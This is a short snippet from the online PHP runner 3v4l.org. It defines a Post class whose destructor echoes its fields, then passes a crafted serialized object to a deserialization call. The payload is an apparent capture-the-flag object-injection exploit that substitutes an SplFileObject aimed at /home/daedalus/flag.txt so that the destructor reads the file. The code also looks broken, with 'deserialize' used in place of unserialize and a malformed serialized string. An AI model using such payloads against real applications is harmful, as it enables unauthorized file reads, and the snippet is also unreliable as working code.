3v4l.org

run code in 300+ PHP versions simultaneously
<?php class Post { protected $title; protected $text; protected $filters; function __construct($title, $text, $filters) { $this->title = $title; $this->text = $text; $this->filters = $filters; } function get_title() { return htmlspecialchars($this->title); } function display_post() { $text = htmlspecialchars($this->text); foreach ($this->filters as $filter) $text = $filter->filter($text); return $text; } function __destruct() { // debugging stuff $s = "<!-- POST " . htmlspecialchars($this->title); $text = htmlspecialchars($this->text); foreach ($this->filters as $filter) $text = $filter->filter($text); $s = $s . ": " . $text; $s = $s . " -->"; echo $s; } }; echo deserialize('O:4:"Post":3:{s:8:"*title";s:19:"huehuehue i repor u";s:7:"*text";O:13:"SplFileObject":12:{s:24:"SplFileObjectdelimiter";s:1:",";s:24:"SplFileObjectenclosure";s:1:""";s:21:"SplFileObjectescape";s:1:"\";s:20:"SplFileObjectflags";N;s:23:"SplFileObjectfilename";s:23:"/home/daedalus/flag.txt";s:25:"SplFileObjectmaxLineLen";i:0;s:29:"SplFileObjectcurrentLineNum";i:0;s:19:"SplFileObjectrsrc";b:0;s:26:"SplFileObjectcurrentLine";b:0;s:21:"SplFileInfofileName";s:23:"/home/daedalus/flag.txt";s:22:"SplFileInfofileClass";s:13:"SplFileObject";s:22:"SplFileInfoinfoClass";N;}s:10:"*filters";a:0:{}}');

preferences:
56.83 ms | 402 KiB | 5 Q